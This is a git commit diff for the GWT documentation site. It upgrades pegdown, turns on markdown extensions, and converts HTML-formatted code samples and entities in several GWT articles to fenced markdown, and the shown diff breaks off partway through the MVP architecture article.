Continue Markdown conversion

Enable triple backticks for code.
Replace html entities inside code block by the real character.
Replace " by real quote and enable option that beautifies quotes.
Replace – by -- and enable option that beautifies dashes.
Remove  
Replace tab by 4 spaces.
Put Anchors in the same line than titles.

Change-Id: I33e8e1d95d0e60379933fb90d85da050852fbe37
diff --git a/pom.xml b/pom.xml
index 962cbf7..97e7994 100644
--- a/pom.xml
+++ b/pom.xml
@@ -142,7 +142,7 @@
     <dependency>
       <groupId>org.pegdown</groupId>
       <artifactId>pegdown</artifactId>
-      <version>1.2.1</version>
+      <version>1.4.2</version>
     </dependency>
 
     <dependency>
diff --git a/src/main/java/com/google/gwt/site/markdown/MDTranslater.java b/src/main/java/com/google/gwt/site/markdown/MDTranslater.java
index 42faba1..0abe824 100644
--- a/src/main/java/com/google/gwt/site/markdown/MDTranslater.java
+++ b/src/main/java/com/google/gwt/site/markdown/MDTranslater.java
@@ -17,6 +17,7 @@
 import com.google.gwt.site.markdown.fs.MDParent;
 import com.google.gwt.site.markdown.toc.TocCreator;
 
+import org.pegdown.Extensions;
 import org.pegdown.PegDownProcessor;
 
 import java.io.File;
@@ -24,8 +25,11 @@
 import java.util.List;
 
 public class MDTranslater {
+  private static final int PEG_DOWN_FLAGS = Extensions.SMARTYPANTS | Extensions.AUTOLINKS | 
+      Extensions.FENCED_CODE_BLOCKS;
 
-  private PegDownProcessor pegDownProcessor = new PegDownProcessor(Long.MAX_VALUE);
+  private PegDownProcessor pegDownProcessor = new PegDownProcessor(PEG_DOWN_FLAGS, Long
+      .MAX_VALUE);
 
   private final TocCreator tocCreator;
 
diff --git a/src/main/markdown/articles/articles.md b/src/main/markdown/articles/articles.md
index 3556c2a..bbe019f 100644
--- a/src/main/markdown/articles/articles.md
+++ b/src/main/markdown/articles/articles.md
@@ -29,7 +29,7 @@
 
 *   [Testing Methodologies Using GWT](testing_methodologies_using_gwt.html) - _March 2009_
 
-     An article adapted from Daniel Wellman's &quot;GWT: Writing Ajax Applications Test-First&quot; (BetterSoftware magazine) that illustrates test-driven design for GWT applications.
+     An article adapted from Daniel Wellman's "GWT: Writing Ajax Applications Test-First" (BetterSoftware magazine) that illustrates test-driven design for GWT applications.
 
 *   [DOM Events, Memory Leaks, and You](dom_events_memory_leaks_and_you.html) - _January 2009_
 
diff --git a/src/main/markdown/articles/dom_events_memory_leaks_and_you.md b/src/main/markdown/articles/dom_events_memory_leaks_and_you.md
index a6d2b42..8c04456 100644
--- a/src/main/markdown/articles/dom_events_memory_leaks_and_you.md
+++ b/src/main/markdown/articles/dom_events_memory_leaks_and_you.md
@@ -5,11 +5,11 @@
 
 _Updated January 2009_
 
-You may ask yourself, &quot;Why do I have to use bitfields to sink DOM events?&quot;, and you may ask yourself, &quot;Why can I not add event listeners directly to elements?&quot; If you find yourself asking these questions, it's probably time to dig into the murky depths of DOM events and memory leaks.
+You may ask yourself, "Why do I have to use bitfields to sink DOM events?", and you may ask yourself, "Why can I not add event listeners directly to elements?" If you find yourself asking these questions, it's probably time to dig into the murky depths of DOM events and memory leaks.
 
 If you're creating a widget from scratch (using DOM elements directly, as opposed to simply creating a composite widget), the setup for event handling generally looks something like this:
 
-<pre class="code">
+```
 class MyWidget extends Widget {
   public MyWidget() {
     setElement(DOM.createDiv());
@@ -24,7 +24,7 @@
     }
   }
 }
-</pre>
+```
 
 This may seem a bit obtuse, but there's a good reason for it. To understand this, you may first need to brush up on browser memory leaks. There are some good resources on the web:
 
@@ -35,22 +35,23 @@
 
 Imagine the following (raw JavaScript) example:
 
-<pre class="code">
+```
 function makeWidget() {
   var widget = {};
-  widget.someVariable = &quot;foo&quot;;
+  widget.someVariable = "foo";
   widget.elem = document.createElement ('div');
   widget.elem.onclick = function() {
     alert(widget.someVariable);
   };
 }
-</pre>
+```
 
 Now, I'm not suggesting that you'd really build a JavaScript library quite this way, but it serves to illustrate the point. The reference cycle created here is:
 
-<pre class="code">
+```
 widget -> elem(native) -> closure -> widget
-</pre>
+
+```
 
 There are many different ways to run into the same problem, but they all tend to form a cycle that looks something like this. This cycle will never get broken unless you do it manually (often by clearing the `onclick` handler).
 
@@ -61,15 +62,16 @@
 
 ## GWT's Solution
 
-When designing GWT, we decided that leaks were simply unacceptable. You wouldn't tolerate egregious memory leaks in a desktop application, and a browser application should be no different. This raises some interesting problems, though. In order to avoid ever creating leaks, any widget that **might** need to get garbage collected must not be involved in a reference cycle with a native element. There's no way to find out &quot;when a widget would have been collected had it not been involved in a reference cycle&quot;. So in GWT terms, a widget must not be involved in a cycle when it is detached from the DOM.
+When designing GWT, we decided that leaks were simply unacceptable. You wouldn't tolerate egregious memory leaks in a desktop application, and a browser application should be no different. This raises some interesting problems, though. In order to avoid ever creating leaks, any widget that **might** need to get garbage collected must not be involved in a reference cycle with a native element. There's no way to find out "when a widget would have been collected had it not been involved in a reference cycle". So in GWT terms, a widget must not be involved in a cycle when it is detached from the DOM.
 
-How do we enforce this? Each widget has a single &quot;root&quot; element. Whenever the widget becomes attached, we create exactly one &quot;back reference&quot; from the element to the widget (that is, `elem.__listener = widget`, performed in [DOM.setEventListener()](/javadoc/latest/com/google/gwt/user/client/DOM.html#setEventListener(com.google.gwt.user.client.Element,%20com.google.gwt.user.client.EventListener))). This is set whenever the widget is attached, and cleared whenever it is detached.
+How do we enforce this? Each widget has a single "root" element. Whenever the widget becomes attached, we create exactly one "back reference" from the element to the widget (that is, `elem.__listener = widget`, performed in [DOM.setEventListener()](/javadoc/latest/com/google/gwt/user/client/DOM.html#setEventListener(com.google.gwt.user.client.Element,%20com.google.gwt.user.client.EventListener))). This is set whenever the widget is attached, and cleared whenever it is detached.
 
 Which brings is back to that odd bitfield used in the sinkEvents() method. If you look at the implementation of [DOM.sinkEvents()](/javadoc/latest/com/google/gwt/user/client/DOM.html#sinkEvents(com.google.gwt.user.client.Element,%20int)), you'll see that it does something like this:
 
-<pre class="code">
+```
 elem.onclick = (bits & 0x00001) ? $wnd.__dispatchEvent : null;
-</pre>
+
+```
 
 Each element's events point back to a central dispatch function, which looks for the target element's `__listener` expando, in order to call `onBrowserEvent()`. The beauty of this is that it allows us to set and clear a single expando to clean up any potential event leaks.
 
diff --git a/src/main/markdown/articles/dynamic_host_page.md b/src/main/markdown/articles/dynamic_host_page.md
index 50f1de5..599598f 100644
--- a/src/main/markdown/articles/dynamic_host_page.md
+++ b/src/main/markdown/articles/dynamic_host_page.md
@@ -20,21 +20,21 @@
 if the user is logged in. This initiates a GWT-RPC request as soon as
 the GWT module loads.
 
-<pre class="prettyprint">
+```
 public void onModuleLoad() {
   // loginService is a GWT-RPC service that checks if the user is logged in
-  loginService.checkLoggedIn(new AsyncCallback&lt;Boolean&gt; {
+  loginService.checkLoggedIn(new AsyncCallback<Boolean> {
     public void onSuccess(Boolean loggedIn) {
       if (loggedIn) {
         showApp();
       } else {
-        Window.Location.assign(&quot;/login&quot;);
+        Window.Location.assign("/login");
       }
     }
     // ...onFailure()
   }
 }
-</pre>
+```
 
 Let's examine everything that happens here if the user isn't logged in:
 
@@ -70,23 +70,23 @@
 the host page based on the user. Here's an example of a simple host page
 written as a servlet:
 
-<pre class="prettyprint">
+```
 public class GwtHostingServlet extends HttpServlet {
 
  @Override
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
 
-   resp.setContentType(&quot;text/html&quot;);
-   resp.setCharacterEncoding(&quot;UTF-8&quot;);
+   resp.setContentType("text/html");
+   resp.setCharacterEncoding("UTF-8");
 
-   // Print a simple HTML page including a &lt;script&gt; tag referencing your GWT module as the response
+   // Print a simple HTML page including a <script> tag referencing your GWT module as the response
    PrintWriter writer = resp.getWriter();
-   writer.append(&quot;&lt;html&gt;&lt;head&gt;&quot;)
-       .append(&quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;sample/sample.nocache.js\&quot;&gt;&lt;/script&gt;&quot;)
-       .append(&quot;&lt;/head&gt;&lt;body&gt;&lt;p&gt;Hello, world!&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;&quot;);
+   writer.append("<html><head>")
+       .append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>")
+       .append("</head><body><p>Hello, world!</p></body></html>");
   }
 }
-</pre>
+```
 
 The response this servlet sends will load and execute your GWT
 code just as if it had been referenced in a static HTML host page. But
@@ -99,25 +99,25 @@
 user is logged in. Even if you're not using App Engine, you can imagine
 how the code would look slightly different in your servlet environment.
 
-<pre class="prettyprint">
+```
 // In GwtHostingServlet's doGet() method...
 PrintWriter writer = resp.getWriter();
-writer.append(&quot;&lt;html&gt;&lt;head&gt;&quot;);
+writer.append("<html><head>");
 
 UserService userService = UserServiceFactory.getUserService();
 if (userService.isUserLoggedIn()) {
-  // Add a &lt;script&gt; tag to serve your app's generated JS code
-  writer.append(&quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;sample/sample.nocache.js\&quot;&gt;&lt;/script&gt;&quot;);
-  writer.append(&quot;&lt;/head&gt;&lt;body&gt;&quot;);
+  // Add a <script> tag to serve your app's generated JS code
+  writer.append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>");
+  writer.append("</head><body>");
   // Add a link to log out
-  writer.append(&quot;&lt;a href=\&quot;&quot; + userService.createLogoutURL(&quot;/&quot;) + &quot;\&quot;&gt;Log out&lt;/a&gt;&quot;);
+  writer.append("<a href=\"" + userService.createLogoutURL("/") + "\">Log out</a>");
 } else {
-  writer.append(&quot;&lt;/head&gt;&lt;body&gt;&quot;);
+  writer.append("</head><body>");
   // Add a link to log in
-  writer.append(&quot;&lt;a href=\&quot;&quot; + userService.createLoginURL(&quot;/&quot;) + &quot;\&quot;&gt;Log in&lt;/a&gt;&quot;);
+  writer.append("<a href=\"" + userService.createLoginURL("/") + "\">Log in</a>");
 }
-writer.append(&quot;&lt;/body&gt;&lt;/html&gt;&quot;);
-</pre>
+writer.append("</body></html>");
+```
 
 This servlet will now serve your GWT code only to logged-in
 users, and will show a link on the page to log in or out.
@@ -133,47 +133,47 @@
 more efficient way is to write the initial data as a Javascript variable
 into the host page itself.
 
-<pre class="prettyprint">
+```
 // In GwtHostingServlet's doGet() method...
-writer.append(&quot;&lt;html&gt;&lt;head&gt;&quot;);
-writer.append(&quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;sample/sample.nocache.js\&quot;&gt;&lt;/script&gt;&quot;);
+writer.append("<html><head>");
+writer.append("<script type=\"text/javascript\" src=\"sample/sample.nocache.js\"></script>");
 
-// Open a second &lt;script&gt; tag where we will define some extra data
-writer.append(&quot;&lt;script type=\&quot;text/javascript\&quot;&gt;&quot;);
+// Open a second <script> tag where we will define some extra data
+writer.append("<script type=\"text/javascript\">");
 
-// Define a global JSON object called &quot;info&quot; which can contain some simple key/value pairs
-writer.append(&quot;var info = { &quot;);
+// Define a global JSON object called "info" which can contain some simple key/value pairs
+writer.append("var info = { ");
 
-// Include the user's email with the key &quot;email&quot;
-writer.append(&quot;\&quot;email\&quot; : \&quot;&quot; + userService.getCurrentUser().getEmail() + &quot;\&quot;&quot;);
+// Include the user's email with the key "email"
+writer.append("\"email\" : \"" + userService.getCurrentUser().getEmail() + "\"");
 
 // End the JSON object definition
-writer.append(&quot; };&quot;);
+writer.append(" };");
 
-// End the &lt;script&gt; tag
-writer.append(&quot;&lt;/script&gt;&quot;);
-writer.append(&quot;&lt;/head&gt;&lt;body&gt;Hello, world!&lt;/body&gt;&lt;/html&gt;&quot;);
-</pre>
+// End the <script> tag
+writer.append("</script>");
+writer.append("</head><body>Hello, world!</body></html>");
+```
 
 Now your GWT code can access the data using JSNI, like so:
 
-<pre class="prettyprint">
+```
 public native String getEmail() /*-{
   return $wnd.info['email'];
 }-*/;
-</pre>
+```
 
 Alternatively, you can take advantage of GWT's
 [Dictionary](/javadoc/latest/com/google/gwt/i18n/client/Dictionary.html) class:
 
-<pre class="prettyprint">
+```
 public void onModuleLoad() {
-  // Looks for a JS variable called &quot;info&quot; in the global scope
-  Dictionary info = Dictionary.getDictionary(&quot;info&quot;);
-  String email = info.get(&quot;email&quot;);
-  Window.alert(&quot;Welcome, &quot; + email + &quot;!&quot;);
+  // Looks for a JS variable called "info" in the global scope
+  Dictionary info = Dictionary.getDictionary("info");
+  String email = info.get("email");
+  Window.alert("Welcome, " + email + "!");
 }
-</pre>
+```
 
 ## Template-based host page <a id="template"></a>
 
@@ -182,41 +182,41 @@
 code more readable. Here's our example as a JSP page instead of a
 servlet:
 
-<pre class="prettyprint">
-&lt;!-- gwt-hosting.jsp --&gt;
-&lt;html&gt;
- &lt;head&gt;
-&lt;%
+```
+<!-- gwt-hosting.jsp -->
+<html>
+ <head>
+<%
    UserService userService = UserServiceFactory.getUserService();
    if (userService.isUserLoggedIn()) {
-%&gt;
-    &lt;script type=&quot;text/javascript&quot; src=&quot;sample/sample.nocache.js&quot;&gt;&lt;/script&gt;
-    &lt;script type=&quot;text/javascript&quot;&gt;
-      var info = { &quot;email&quot; : &quot;&lt;%= userService.getCurrentUser().getEmail() %&gt;&quot; };
-    &lt;/script&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-  &lt;a href=&quot;&lt;%= userService.createLogoutURL(request.getRequestURI()) %&gt;&quot;&gt;Log out&lt;/a&gt;
-&lt;%
+%>
+    <script type="text/javascript" src="sample/sample.nocache.js"></script>
+    <script type="text/javascript">
+      var info = { "email" : "<%= userService.getCurrentUser().getEmail() %>" };
+    </script>
+  </head>
+  <body>
+  <a href="<%= userService.createLogoutURL(request.getRequestURI()) %>">Log out</a>
+<%
    } else {
-%&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-    &lt;a href=&quot;&lt;%= userService.createLoginURL(request.getRequestURI()) %&gt;&quot;&gt;Log in&lt;/a&gt;
-&lt;%
+%>
+  </head>
+  <body>
+    <a href="<%= userService.createLoginURL(request.getRequestURI()) %>">Log in</a>
+<%
    }
-%&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
+%>
+ </body>
+</html>
+```
 
 You can make this JSP page your welcome file by specifying it in your web.xml file:
 
-<pre class="prettyprint">
-&lt;welcome-file-list&gt;
-  &lt;welcome-file&gt;gwt-hosting.jsp&lt;/welcome-file&gt;
-&lt;/welcome-file-list&gt;
-</pre>
+```
+<welcome-file-list>
+  <welcome-file>gwt-hosting.jsp</welcome-file>
+</welcome-file-list>
+```
 
 These are some basic examples of how to minimize HTTP requests by
 hosting your GWT app dynamically. With these techniques, you should be
diff --git a/src/main/markdown/articles/elemental.md b/src/main/markdown/articles/elemental.md
index b0cba9f..cf3e467 100644
--- a/src/main/markdown/articles/elemental.md
+++ b/src/main/markdown/articles/elemental.md
@@ -28,11 +28,12 @@
 the collection classes map directly to underlying JavaScript collections with no overhead.
 
 ## Example Usage <a id="Example"></a>
-<p> Elemental uses Java interfaces to hide most of the generated overlay types it uses. JS APIs instances
+
+Elemental uses Java interfaces to hide most of the generated overlay types it uses. JS APIs instances
 can be obtained by the `Window` or `Document` interfaces. Here is a simple example to play a sound using
 the Web Audio API.
 
-<pre class="prettyprint">
+```
 package com.myapp;
 import elemental.client.*;
 import elemental.dom.*;
@@ -49,9 +50,9 @@
     osc.noteOn(0);
   }  
 }
-</pre>
+```
 
-<p> In general, HTML elements can be constructed by invoking methods starting with the pattern
+In general, HTML elements can be constructed by invoking methods starting with the pattern
 `Document.createXXXElement` where XXX could be elements like `Select`,
 or `Video`. JS APIs which allow the `new` keyword to construct instances
 are found on `Window.newXXX` where XXX represents the underlying Javascript 
@@ -59,16 +60,13 @@
 
 ## Caveats <a id="Caveats"></a>
 
-<p>
 Elemental is a work in progress. Due to the nature of it being auto-generated from IDL specifications,
 and those specifications for HTML5 changing rapidly over time, there are no unit tests for
 generated code, and usage of bleeding edge HTML5 are untested and may break.
 
-<p>
 Elemental also introduces a new set of native JS collections which are not interoperable with Java
 Collections. 
 
-<p>
 Currently, Elemental is generated from the WebKit IDL files and contains many references to
 vendor-prefixed browser extensions. Using these draft-spec extensions may result in code that doesn't 
 work on Firefox, Opera, or IE. Later versions of Elemental will include shim-generation
diff --git a/src/main/markdown/articles/gwt-iphone.md b/src/main/markdown/articles/gwt-iphone.md
index 6036792..a7470b2 100644
--- a/src/main/markdown/articles/gwt-iphone.md
+++ b/src/main/markdown/articles/gwt-iphone.md
@@ -7,82 +7,82 @@
 
 _This article is obsolete, but may be of historical interest._
 
-It's now been a few weeks since the release of GWT 1.4 and Apple's iPhone.&nbsp;
+It's now been a few weeks since the release of GWT 1.4 and Apple's iPhone.
 We've spent some of that time learning how to optimize GWT
-applications for the iPhone.&nbsp; Since nothing beats experience with real
+applications for the iPhone. Since nothing beats experience with real
 code, we decided to write an application that we would find useful and that
-shows off the cool features of the iPhone.&nbsp; The result is the
+shows off the cool features of the iPhone. The result is the
 GWT Feed Reader, an RSS feed reader that uses the
 [Google
 AJAX Feed API](//developers.google.com/feed/) with a user interface optimized for the iPhone. This article
 will discuss what we've learned from writing this RSS reader.
 
 The good news is that writing a GWT application that
-targets the iPhone is no different from writing any other application.&nbsp; 
+targets the iPhone is no different from writing any other application.
 On the other hand, the way in which your users interact with a mobile application is
-somewhat different from how they interact with a "desktop" application.&nbsp;
+somewhat different from how they interact with a "desktop" application.
 Even though your existing desktop GWT application may execute on the iPhone,
-it might not be very easy to use, and might not feel like a mobile application should.&nbsp;
+it might not be very easy to use, and might not feel like a mobile application should.
 For more than just occasional use, your users will want an
-interface optimized for their device.&nbsp;
+interface optimized for their device.
 
 Before we dive in, it's worth noting that
 developers that intend to target the iPhone should refer to Apple's
 [development
-guide for the iPhone](http://developer.apple.com/iphone/).&nbsp; It covers how users interact with web
+guide for the iPhone](http://developer.apple.com/iphone/). It covers how users interact with web
 applications on the iPhone, ways to optimize your application for the iPhone,
-and links to other iPhone-related development communities.&nbsp; These
+and links to other iPhone-related development communities. These
 guidelines are applicable to static content as well as client-side application
 development using GWT.
 
 Instead of covering the basics of writing a GWT application, we'll stick
 to highlighting the design decisions that we made to make the GWT Feed Reader a
-usable mobile application.&nbsp; Most of design stems from understanding the
+usable mobile application. Most of design stems from understanding the
 limitations of the device.
 
 ## Interface design decisions
 
 The iPhone has three primary UI gestures: tapping (or pointing),
-swiping, and double-taps.&nbsp; Tapping is the primary command gesture,
+swiping, and double-taps. Tapping is the primary command gesture,
 analogous to a mouse click, and can be handled with standard
 [ClickListener.onClick()](/javadoc/latest/com/google/gwt/user/client/ui/ClickListener.html)
-events.&nbsp; Swiping, in both vertical and horizontal directions, is used to
+events. Swiping, in both vertical and horizontal directions, is used to
 pan the viewport over the (sometimes larger) virtual page.
 
 When the UI can be designed as a vertically strip, a properly-sized
 [Panel](/javadoc/latest/com/google/gwt/user/client/ui/Panel.html),
 combined with the viewport meta tag, can be easily adapted to provide a
 "[wall-to-wall](http://gwt-feed-reader.googlecode.com/svn/trunk/src/com/google/gwt/sample/feedreader/client/WallToWallPanel.java)"
-layout that eliminates horizontal scrolling.&nbsp; Applications that are
+layout that eliminates horizontal scrolling. Applications that are
 designed to fit entirely within a single column should set a viewport width of
 320 pixels by adding `<meta
 name="viewport" content="width=320">` in the
 `<head>` section of the host
-page.&nbsp; CSS width rules using relative sizes will use the size of the actual
-viewport, and not the default virtual page size of 980 pixels.&nbsp; If you
+page. CSS width rules using relative sizes will use the size of the actual
+viewport, and not the default virtual page size of 980 pixels. If you
 experience unwanted horizontal overflow, the width of various widgets can be
 constrained by use of the `max-width`
-CSS attribute.&nbsp; This is especially useful to constrain images from sources
-that may not target the iPhone directly.&nbsp; In the case of the GWT Feed
+CSS attribute. This is especially useful to constrain images from sources
+that may not target the iPhone directly. In the case of the GWT Feed
 Reader, user scaling is disabled completely to decrease the navigational
 complexity of the user interface by specifying the viewport meta
 `content="width=320; initial-scale=1.0; maximum-scale=1.0;
 user-scalable=0;"`.
 
 The double-tap gesture will zoom the document to fill the screen with the
-element enclosing the target point.&nbsp; This maps very nicely onto the
-Element-per-Widget design of GWT's UI toolkit.&nbsp; By structuring your widget
+element enclosing the target point. This maps very nicely onto the
+Element-per-Widget design of GWT's UI toolkit. By structuring your widget
 hierarchy to group related collections of Widgets into Panels (and perhaps
 nesting related Panels in outer panels), the double-tap gesture will allow the
 user to navigate the document in a hierarchical fashion and allow more effective
 targeting of the zoom region.
 
 It's important to remember that fingers are both opaque and of non-zero
-size when pressed against the display on the iPhone.&nbsp; If we assume that the
+size when pressed against the display on the iPhone. If we assume that the
 smallest target should be about the size of a pressed fingertip, we have a
 minimum size of a quarter of an inch square. The iPhone's screen has better than
 average dot pitch of 160 dpi, making the smallest useful target on the order of
-40x40 pixels.&nbsp; If the application is intended for use on the iPhone as well
+40x40 pixels. If the application is intended for use on the iPhone as well
 as the desktop, you will want to use CSS media selectors to load the correct
 stylesheet as outlined in the iPhone developer's guide.
 
@@ -90,44 +90,44 @@
 
 The Document Object Model (DOM) specification defines a hierarchical box
 model that is used to compose the image that is displayed on your screen when
-you view a web page.&nbsp; Typically, web browsers convert the HTML data
+you view a web page. Typically, web browsers convert the HTML data
 received from a web server into a DOM structure, however it is also possible to
 manipulate the DOM via purely programmatic means via client-side JavaScript
-code.&nbsp; The GWT UI classes provide abstractions over the underlying DOM
+code. The GWT UI classes provide abstractions over the underlying DOM
 structures that they represent, allowing you, the developer, to think about
-high-level Widgets and Panels, rather than collections of DOM elements.&nbsp;
+high-level Widgets and Panels, rather than collections of DOM elements.
 Each Widget has associated with it a DOM Element that represents the Widget in
-the DOM.&nbsp; Simple Widgets, such as Button, can be represented by a single
+the DOM. Simple Widgets, such as Button, can be represented by a single
 DOM Element.
 
 More complicated Widgets, like VerticalPanel, have a single root Element
-that act as containers for the Elements of child Widgets.&nbsp; The individual
+that act as containers for the Elements of child Widgets. The individual
 rows of the VerticalPanel are Elements that can be targeted by the zoom
-gesture.&nbsp; If the Widgets contained by the VerticalPanel are of unequal
+gesture. If the Widgets contained by the VerticalPanel are of unequal
 widths, the zoom gesture will still allow the user to approximately zoom in on
-the row's element, even in the case of missing the desired Widget.&nbsp; The
+the row's element, even in the case of missing the desired Widget. The
 user can then more accurately target the desired widget, as it will have
 increased in visible size.
 
 ## Improving interactions
 
 Both actual as well as perceived application performance are critically
-important factors to consider when designing user interactions.&nbsp; If the
+important factors to consider when designing user interactions. If the
 application pauses, hangs, or otherwise stalls during use, users will very
-quickly become frustrated.&nbsp;
+quickly become frustrated.
 Progressive (or lazy) rendering in the UI and retention of already-rendered UI
-elements adds to the perception of responsiveness.&nbsp;
+elements adds to the perception of responsiveness.
 Applications typically "feel faster" and annoy the user less when something happens
 immediately in response to a user's event, even if it is to simply displaying a
-"Loading..." message. &nbsp; Using
+"Loading..." message. Using
 [DeferredCommand.addCommand()](/javadoc/latest/com/google/gwt/user/client/DeferredCommand.html) with an
 [IncrementalCommand](/javadoc/latest/com/google/gwt/user/client/IncrementalCommand.html)
-allows you to implement a "deferred Iterator".&nbsp; This will avoid blocking
+allows you to implement a "deferred Iterator". This will avoid blocking
 the UI event loop while you create UI elements from a list of data
 objects:
 
-<pre>
-  final List objects = ....;
+```
+final List objects = ....;
   DeferredCommand.addCommand(new IncrementalCommand() {
     Iterator i = objects.iterator();
     public boolean execute() {
@@ -136,54 +136,55 @@
       return i.hasNext();
     }
   });
-</pre>
+  
+```
 
 Robust use of GWT's
 [History
-support](/javadoc/latest/com/google/gwt/user/client/History.html) adds to the usability of the application.&nbsp; The browser's back
+support](/javadoc/latest/com/google/gwt/user/client/History.html) adds to the usability of the application. The browser's back
 and forward buttons are always on-screen, so you may as well take advantage of
-them in your application.&nbsp; Most of the state changes within the GWT Feed
-Reader are controlled by history tokens.&nbsp; Instead of having user-generated
+them in your application. Most of the state changes within the GWT Feed
+Reader are controlled by history tokens. Instead of having user-generated
 events directly cause panels to be shown or hidden, the code simply executes a
-`History.newItem()` call.&nbsp; This
+`History.newItem()` call. This
 ensures that externally-driven behavior (back/forward, deep-linking) is
 identical to UI-driven behavior and serves to decouple event-handling code from
 presentation code. For example, articles in a feed are viewed by setting the
 history token to a combination of the feed's URL and the link target URL of the
-article.&nbsp; See the
+article. See the
 [processHistoryToken()](http://gwt-feed-reader.googlecode.com/svn/trunk/src/com/google/gwt/sample/feedreader/client/GwtFeedReader.java)
 function.
 
 ## Program data
 
 Minimizing the number of round-trips to the server was also a design
-priority for the GWT Feed Reader application.&nbsp; We are using
+priority for the GWT Feed Reader application. We are using
 [ImmutableResourceBundle](http://code.google.com/p/google-web-toolkit-incubator/wiki/ImmutableResourceBundle)
 and
 [StyleInjector](http://code.google.com/p/google-web-toolkit-incubator/wiki/StyleInjector)
 from the new
 [GWT
-Incubator](http://code.google.com/p/google-web-toolkit-incubator) project.&nbsp; This combination allows program resources, such as
+Incubator](http://code.google.com/p/google-web-toolkit-incubator) project. This combination allows program resources, such as
 CSS and background-image files to be either cached "forever" or inlined directly
-into the GWT application.&nbsp; The latter behavior allows the feed reader to
+into the GWT application. The latter behavior allows the feed reader to
 always be able to render correctly, even when the iPhone is temporarily unable
-to access the Internet.&nbsp; Programmatic access to module
+to access the Internet. Programmatic access to module
 [Resources](http://gwt-feed-reader.googlecode.com/svn/trunk/src/com/google/gwt/sample/feedreader/client/resources/Resources.java)
 also helps in the development phase, because the compiler will warn you of
-missing files.&nbsp; As an additional deployment optimization, the module
+missing files. As an additional deployment optimization, the module
 selection script has been inlined into the host HTML page as a post-build
-step.&nbsp; The net effect of these optimizations is that the entire GWT Feed
+step. The net effect of these optimizations is that the entire GWT Feed
 Reader application and all of its runtime resources can be downloaded in just
 two HTTP round-trips.
 
-The Feed Reader needs to get its feed data from somewhere.&nbsp; Enough
+The Feed Reader needs to get its feed data from somewhere. Enough
 of the
 [Google
 AJAX Feed API](//developers.google.com/feed/) was imported with Java bindings using the
 [GWT
-JavaScript Interop](http://code.google.com/p/gwt-api-interop) project.&nbsp; This eliminated the need to hand-write
+JavaScript Interop](http://code.google.com/p/gwt-api-interop) project. This eliminated the need to hand-write
 JSNI calls to the underlying JavaScript API by declaring the binding with a
-flyweight-style API.&nbsp; The binding classes are located in the
+flyweight-style API. The binding classes are located in the
 [com.google.gwt.ajaxfeed](http://gwt-feed-reader.googlecode.com/svn/trunk/src/com/google/gwt/ajaxfeed)
 package.
 
@@ -191,25 +192,25 @@
 run without server support (e.g. from a local filesystem), we use GWT's
 [support
 for manipulating browser cookies](/javadoc/latest/com/google/gwt/user/client/Cookies.html) to store configuration and last-read
-information.&nbsp; The data is stored as a JSON-encoded string in the cookie and
+information. The data is stored as a JSON-encoded string in the cookie and
 accessed through the
 [Configuration](http://gwt-feed-reader.googlecode.com/svn/trunk/src/com/google/gwt/sample/feedreader/client/Configuration.java)
 class. A more fully-featured version of the application might include
-server-side support for configuration and tracking last-read articles.&nbsp;
+server-side support for configuration and tracking last-read articles.
 
 ## Wrapping it up
 
 After deciding on the UI layout style, implementing the RSS reader
-application was just like writing any other GWT application.&nbsp; Much of the
+application was just like writing any other GWT application. Much of the
 gross feature set was worked out with hosted-mode development and then the
 fit-and-finish of the application was finalized using a combination of Safari3
-and an iPhone.&nbsp; Most of the time, the test application was accessed over
-the EDGE network, to simulate the typical use case.&nbsp; Targeting the
+and an iPhone. Most of the time, the test application was accessed over
+the EDGE network, to simulate the typical use case. Targeting the
 high-latency, low-bandwidth configuration makes using the application on a WiFi
 network even better.
 
 We look forward to seeing more GWT applications on the iPhone in the
-future.&nbsp; If you are interested in the code for the GWT Feed Reader, it is
+future. If you are interested in the code for the GWT Feed Reader, it is
 Open-Source under the Apache 2.0 License, and has its own
 [project
 page](http://code.google.com/p/gwt-feed-reader/) on Google Code.
diff --git a/src/main/markdown/articles/mvp-architecture-2.md b/src/main/markdown/articles/mvp-architecture-2.md
index 4aa2507..5867117 100644
--- a/src/main/markdown/articles/mvp-architecture-2.md
+++ b/src/main/markdown/articles/mvp-architecture-2.md
@@ -24,7 +24,7 @@
 ContactList view. Previously we programmatically setup the UI within the
 ContactsView constructor:
 
-<pre class="prettyprint">
+```
 public class ContactsView extends Composite implements ContactsPresenter.Display {
   ...
   public ContactsView() {
@@ -64,7 +64,7 @@
   }
   ...
 }
-</pre>
+```
 
 The first step towards a UiBinder-way of doing things is to move this code
 into a Contacts.ui.xml file and perform the associated transformations. As
@@ -72,14 +72,14 @@
 do so in a declarative way that resembles HTML more than straight Java code.
 To that extent, the result is the following:
 
-<pre style="color:#008">
+```
 ContactsView.ui.xml
 
-&lt;ui:UiBinder
+<ui:UiBinder
   xmlns:ui="urn:ui:com.google.gwt.uibinder"
   xmlns:g="urn:import:com.google.gwt.user.client.ui">
 
-  &lt;ui:style>
+  <ui:style>
     .contactsViewButtonHPanel {
       margin: 5px 0px 0x 5px;
     }
@@ -87,29 +87,29 @@
       margin: 5px 0px 5px 0px;
     }
 
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;g:DecoratorPanel>
-    &lt;g:VerticalPanel>
-      &lt;g:HorizontalPanel addStyleNames="{style.contactsViewButtonHPanel}">
-        &lt;g:Button ui:field="addButton">Add&lt;/g:Button>
-        &lt;g:Button ui:field="deleteButton">Delete&lt;/g:Button>
-      &lt;/g:HorizontalPanel>
-      &lt;g:FlexTable ui:field="contactsTable" addStyleNames="{style.contactsViewContactsFlexTable}"/>
-    &lt;/g:VerticalPanel>
-  &lt;/g:DecoratorPanel>
-&lt;/ui:UiBinder>
-</pre>
+  <g:DecoratorPanel>
+    <g:VerticalPanel>
+      <g:HorizontalPanel addStyleNames="{style.contactsViewButtonHPanel}">
+        <g:Button ui:field="addButton">Add</g:Button>
+        <g:Button ui:field="deleteButton">Delete</g:Button>
+      </g:HorizontalPanel>
+      <g:FlexTable ui:field="contactsTable" addStyleNames="{style.contactsViewContactsFlexTable}"/>
